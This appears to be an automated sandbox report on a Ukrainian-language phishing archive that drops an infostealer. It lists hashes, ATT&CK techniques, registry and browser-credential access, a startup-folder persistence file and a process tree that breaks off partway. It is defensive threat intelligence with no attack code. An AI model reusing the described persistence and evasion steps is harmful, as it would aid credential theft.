35d6eab4f66ce38c0a8953b5fcb3b03bf9f042ca4a4ef8f0555ebabe39ac18f8

Resubmissions

31/10/2024, 12:37

241031-ptfzhawrev10

31/10/2024, 12:29

241031-pn52fayclf5

Analysis

max time kernel
300s
max time network
301s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
31/10/2024, 12:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Запит СБУ.rar
Size 986KB
Sample241031-ptfzhawrev
SHA256 35d6eab4f66ce38c0a8953b5fcb3b03bf9f042ca4a4ef8f0555ebabe39ac18f8
MD5 f46e12150b7b0e381c3cf871325eed8e
SHA1 57d88bcbf4f6804cdaea6b9c06e0a2a204ec4a6a
SHA512 b76dc0f752443f751fdc55d5743f63baa97404bde12ec655ca52477a3f8b5f582a98fa362840fb1d624f955663bebb8735c573705c079d1aafb8c73b8f2bd4b1
SSDEEP 24576:P5g167y+rl6d68YVdLpeRGOKIlwu2Q3crnO+Pt:t7y+lgCL2wuN3crntPt
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

google discovery phishing spyware stealer

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4380 created 3432	4380	Spy.pif	56

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	scan_doc_zapit_836893.pdf.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	Spy.pif
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	stealer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	Modify.pif

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NanoCipher.url	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NanoCipher.url	cmd.exe

Executes dropped EXE 7 IoCs

pid	Process
5704	scan_doc_zapit_836893.pdf.exe
4380	Spy.pif
5284	azvw.exe
2476	stealer.exe
1604	Modify.pif
2092	azvw.exe
2208	7za.exe

Loads dropped DLL 1 IoCs

pid	Process
1604	Modify.pif

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Detected potential entity reuse from brand GOOGLE.
phishing google

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
1636	tasklist.exe
1140	tasklist.exe
3616	tasklist.exe
4376	tasklist.exe

Drops file in Windows directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\AllergyAlternative	stealer.exe
File opened for modification	C:\Windows\MitNecklace	stealer.exe
File opened for modification	C:\Windows\DiagnosisCompiled	stealer.exe
File opened for modification	C:\Windows\LensHandles	stealer.exe
File opened for modification	C:\Windows\ToReached	stealer.exe
File opened for modification	C:\Windows\GccIncluded	scan_doc_zapit_836893.pdf.exe
File opened for modification	C:\Windows\DerivedNaples	stealer.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	scan_doc_zapit_836893.pdf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	systeminfo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	stealer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Robocopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Modify.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7za.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	azvw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3304	cmd.exe
1080	Robocopy.exe

Checks processor information in registry 2 TTPs 14 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4164	systeminfo.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	7zFM.exe
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	7zFM.exe
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Local Settings	OpenWith.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
1812	7zFM.exe
4380	Spy.pif

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	1812	7zFM.exe
Token: 35	1812	7zFM.exe
Token: SeSecurityPrivilege	1812	7zFM.exe
Token: SeDebugPrivilege	4300	firefox.exe
Token: SeDebugPrivilege	4300	firefox.exe
Token: SeDebugPrivilege	4300	firefox.exe
Token: SeDebugPrivilege	4300	firefox.exe
Token: SeDebugPrivilege	4300	firefox.exe
Token: SeSecurityPrivilege	1812	7zFM.exe
Token: SeRestorePrivilege	1652	7zG.exe
Token: 35	1652	7zG.exe
Token: SeSecurityPrivilege	1652	7zG.exe
Token: SeSecurityPrivilege	1652	7zG.exe
Token: SeDebugPrivilege	4376	tasklist.exe
Token: SeDebugPrivilege	1636	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5476	WMIC.exe
Token: SeSecurityPrivilege	5476	WMIC.exe
Token: SeTakeOwnershipPrivilege	5476	WMIC.exe
Token: SeLoadDriverPrivilege	5476	WMIC.exe
Token: SeSystemProfilePrivilege	5476	WMIC.exe
Token: SeSystemtimePrivilege	5476	WMIC.exe
Token: SeProfSingleProcessPrivilege	5476	WMIC.exe
Token: SeIncBasePriorityPrivilege	5476	WMIC.exe
Token: SeCreatePagefilePrivilege	5476	WMIC.exe
Token: SeBackupPrivilege	5476	WMIC.exe
Token: SeRestorePrivilege	5476	WMIC.exe
Token: SeShutdownPrivilege	5476	WMIC.exe
Token: SeDebugPrivilege	5476	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5476	WMIC.exe
Token: SeRemoteShutdownPrivilege	5476	WMIC.exe
Token: SeUndockPrivilege	5476	WMIC.exe
Token: SeManageVolumePrivilege	5476	WMIC.exe
Token: 33	5476	WMIC.exe
Token: 34	5476	WMIC.exe
Token: 35	5476	WMIC.exe
Token: 36	5476	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5476	WMIC.exe
Token: SeSecurityPrivilege	5476	WMIC.exe
Token: SeTakeOwnershipPrivilege	5476	WMIC.exe
Token: SeLoadDriverPrivilege	5476	WMIC.exe
Token: SeSystemProfilePrivilege	5476	WMIC.exe
Token: SeSystemtimePrivilege	5476	WMIC.exe
Token: SeProfSingleProcessPrivilege	5476	WMIC.exe
Token: SeIncBasePriorityPrivilege	5476	WMIC.exe
Token: SeCreatePagefilePrivilege	5476	WMIC.exe
Token: SeBackupPrivilege	5476	WMIC.exe
Token: SeRestorePrivilege	5476	WMIC.exe
Token: SeShutdownPrivilege	5476	WMIC.exe
Token: SeDebugPrivilege	5476	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5476	WMIC.exe
Token: SeRemoteShutdownPrivilege	5476	WMIC.exe
Token: SeUndockPrivilege	5476	WMIC.exe
Token: SeManageVolumePrivilege	5476	WMIC.exe
Token: 33	5476	WMIC.exe
Token: 34	5476	WMIC.exe
Token: 35	5476	WMIC.exe
Token: 36	5476	WMIC.exe
Token: SeDebugPrivilege	1140	tasklist.exe
Token: SeDebugPrivilege	3616	tasklist.exe
Token: 33	4380	Spy.pif
Token: SeIncBasePriorityPrivilege	4380	Spy.pif
Token: 33	4380	Spy.pif
Token: SeIncBasePriorityPrivilege	4380	Spy.pif
Token: 33	4380	Spy.pif

Suspicious use of FindShellTrayWindow 53 IoCs

pid	Process
1812	7zFM.exe
1812	7zFM.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
1812	7zFM.exe
1652	7zG.exe
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
1604	Modify.pif
1604	Modify.pif
1604	Modify.pif
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe

Suspicious use of SendNotifyMessage 48 IoCs

pid	Process
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4380	Spy.pif
4380	Spy.pif
4380	Spy.pif
1604	Modify.pif
1604	Modify.pif
1604	Modify.pif
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe
4300	firefox.exe

Suspicious use of SetWindowsHookEx 17 IoCs

pid	Process
4300	firefox.exe
5432	OpenWith.exe
5432	OpenWith.exe
5432	OpenWith.exe
5432	OpenWith.exe
5432	OpenWith.exe
5432	OpenWith.exe
5432	OpenWith.exe
5432	OpenWith.exe
5432	OpenWith.exe
5432	OpenWith.exe
5432	OpenWith.exe
5432	OpenWith.exe
5432	OpenWith.exe
5432	OpenWith.exe
5432	OpenWith.exe
1604	Modify.pif

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 440 wrote to memory of 4300	440	firefox.exe	104
PID 440 wrote to memory of 4300	440	firefox.exe	104
PID 440 wrote to memory of 4300	440	firefox.exe	104
PID 440 wrote to memory of 4300	440	firefox.exe	104
PID 440 wrote to memory of 4300	440	firefox.exe	104
PID 440 wrote to memory of 4300	440	firefox.exe	104
PID 440 wrote to memory of 4300	440	firefox.exe	104
PID 440 wrote to memory of 4300	440	firefox.exe	104
PID 440 wrote to memory of 4300	440	firefox.exe	104
PID 440 wrote to memory of 4300	440	firefox.exe	104
PID 440 wrote to memory of 4300	440	firefox.exe	104
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 4504	4300	firefox.exe	105
PID 4300 wrote to memory of 2388	4300	firefox.exe	106
PID 4300 wrote to memory of 2388	4300	firefox.exe	106
PID 4300 wrote to memory of 2388	4300	firefox.exe	106
PID 4300 wrote to memory of 2388	4300	firefox.exe	106
PID 4300 wrote to memory of 2388	4300	firefox.exe	106
PID 4300 wrote to memory of 2388	4300	firefox.exe	106
PID 4300 wrote to memory of 2388	4300	firefox.exe	106
PID 4300 wrote to memory of 2388	4300	firefox.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3432
- C:\Program Files\7-Zip\7zFM.exe
  "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Запит СБУ.rar"
  2⤵
  - Modifies registry class
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:1812
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Запит СБУ\код доступу 937463543.txt
  2⤵
  PID:4776
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:440
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe"
    3⤵
    - Checks processor information in registry
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4300
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2000 -parentBuildID 20240401114208 -prefsHandle 1916 -prefMapHandle 1908 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ca7888b0-6348-4e18-9aef-75c0a4030d5e} 4300 "\\.\pipe\gecko-crash-server-pipe.4300" gpu
      4⤵
      PID:4504
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2412 -parentBuildID 20240401114208 -prefsHandle 2404 -prefMapHandle 2392 -prefsLen 23716 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {633621c7-52bc-47f9-bf48-34634b28760d} 4300 "\\.\pipe\gecko-crash-server-pipe.4300" socket
      4⤵
      PID:2388
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3156 -childID 1 -isForBrowser -prefsHandle 3232 -prefMapHandle 3024 -prefsLen 23857 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d99670cb-67d2-4c85-9aa5-fb3c4a781e96} 4300 "\\.\pipe\gecko-crash-server-pipe.4300" tab
      4⤵
      PID:4772
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4348 -childID 2 -isForBrowser -prefsHandle 4340 -prefMapHandle 4336 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {76f08060-32b9-4507-9368-99666e2f69f2} 4300 "\\.\pipe\gecko-crash-server-pipe.4300" tab
      4⤵
      PID:4212
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4816 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4804 -prefMapHandle 4808 -prefsLen 29197 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8a2b5fc6-01bb-4e7c-ba26-f78b626cf38a} 4300 "\\.\pipe\gecko-crash-server-pipe.4300" utility
      4⤵
      Checks processor information in registry
      PID:5604
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5348 -childID 3 -isForBrowser -prefsHandle 5328 -prefMapHandle 5336 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {323e3bf0-50da-46fb-96e2-30e2d931c362} 4300 "\\.\pipe\gecko-crash-server-pipe.4300" tab
      4⤵
      PID:5984
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5308 -childID 4 -isForBrowser -prefsHandle 5484 -prefMapHandle 5488 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7b3723db-7150-496d-8aaf-d4f6d2d69527} 4300 "\\.\pipe\gecko-crash-server-pipe.4300" tab
      4⤵
      PID:5996
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5660 -childID 5 -isForBrowser -prefsHandle 5664 -prefMapHandle 5668 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {81ad22f9-d871-41f7-910e-5728526ba0e9} 4300 "\\.\pipe\gecko-crash-server-pipe.4300" tab
      4⤵
      PID:6008
  - - C:\Program Files\Mozilla Firefox\firefox.exe
